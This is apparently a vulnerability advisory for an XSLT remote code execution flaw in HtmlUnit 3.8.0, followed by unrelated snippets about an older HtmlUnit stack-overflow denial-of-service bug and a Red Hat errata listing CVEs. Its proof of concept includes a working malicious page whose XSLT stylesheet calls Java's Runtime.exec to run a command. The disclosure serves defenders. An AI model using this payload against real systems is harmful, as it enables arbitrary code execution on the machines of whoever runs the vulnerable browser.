Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage

Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)

The reason for the vulnerability is that it was not enabled FEATURESECUREPROCESSING for the XSLT processor

PoC pom.xml: <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency>

code: WebClient webClient = new WebClient(BrowserVersion.INTERNETEXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText());

test.html: <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <span><xsl:value-of select="$processString"/></span> </xsl:template> </xsl:stylesheet>)

if (xslDoc.parseError.errorCode != 0) { var myErr = xslDoc.parseError; document.write("ParseError: "+myErr.reason); } else { xslt.stylesheet = xslDoc; var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); xmlDoc.async = false; xmlDoc.loadXML("<s></s>"); if (xmlDoc.parseError.errorCode != 0) { var myErr = xmlDoc.parseError; document.write("Document error: " + myErr.reason); } else { xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.transform(); document.write(xslProc.output); } } </script>

Impact Remote Code Execution

Those using HtmlUnit to browse untrusted webpages may be vulnerable to Denial of service attacks (DoS). If HtmlUnit is running on user supplied web pages, an attacker may supply content that causes HtmlUnit to crash by a stack overflow. This effect may support a denial of service attack. This issue affects HtmlUnit before 2.70.0.

Migration Toolkit for Runtimes 1.1.1 ZIP artifactsSecurity Fix(es): htmlUnit: Stack overflow crash causes Denial of Service (DoS) (CVE-2023-2798) zip4j: does not always check the MAC when decrypting a ZIP archive (CVE-2023-22899) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.